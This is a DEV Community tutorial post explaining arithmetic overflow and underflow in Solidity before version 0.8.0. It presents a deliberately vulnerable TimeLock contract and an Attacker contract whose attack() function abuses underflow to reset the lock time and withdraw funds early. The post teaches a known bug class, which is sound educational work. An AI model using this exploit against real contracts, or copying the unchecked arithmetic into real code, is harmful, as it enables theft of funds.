DEV Community

Rushank Savant
Rushank Savant

Posted on

Arithmetic overflow/underflow

As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.

First let us understand what underflow/overflow is:

  • Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0

Eg: uint var1 = 2**256 - 1

var1 + 1 will be 0

var1 + 2 will be 1

  • Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1)

Eg: uint var2 = 0

var2 -1 = 2*256 -1

var2 -2 = 2
*256 -2

Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.

contract TimeLock { mapping (address => uint) public balances; mapping (address => uint) public lockTime; function deposit() external payable{ // to deposit  balances[msg.sender] += msg.value; lockTime[msg.sender] += block.timestamp + 1 weeks; } function withdraw() external { // to withdraw  uint bal = balances[msg.sender]; require(bal > 0, "No balance to withdraw"); require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); balances[msg.sender] = 0; // updating before sending, to avoid reentrancy  (bool sent,) = msg.sender.call{value: bal}(""); require(sent, "Send ETH failed"); } function increaseTimeLimit(uint _seconds) external { // to increase lock time  lockTime[msg.sender] += _seconds; } } 
Enter fullscreen mode Exit fullscreen mode

Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow lockTime[msg.sender]. Once this is done, require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); in withdraw() function will pass (because lockTime[msg.sender] will be equal to a small number after overflow).

Let's see how attacker can achieve this:

contract Attacker { TimeLock timeLockContract; receive() external payable{ } constructor(address _timeLock) { timeLockContract = TimeLock(_timeLock); } function deposit() external payable { timeLockContract.deposit{value: msg.value}(); } function attack() external { timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this)))); timeLockContract.withdraw(); } function getBalance() external view returns(uint) { return address(this).balance; } } 
Enter fullscreen mode Exit fullscreen mode

In the attack() function, we are using underflow to get a very big number: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));. This big number is added to lockTime[msg.sender] in TimeLock contract to cause overflow. And hence the withdraw is executed.

Top comments (0)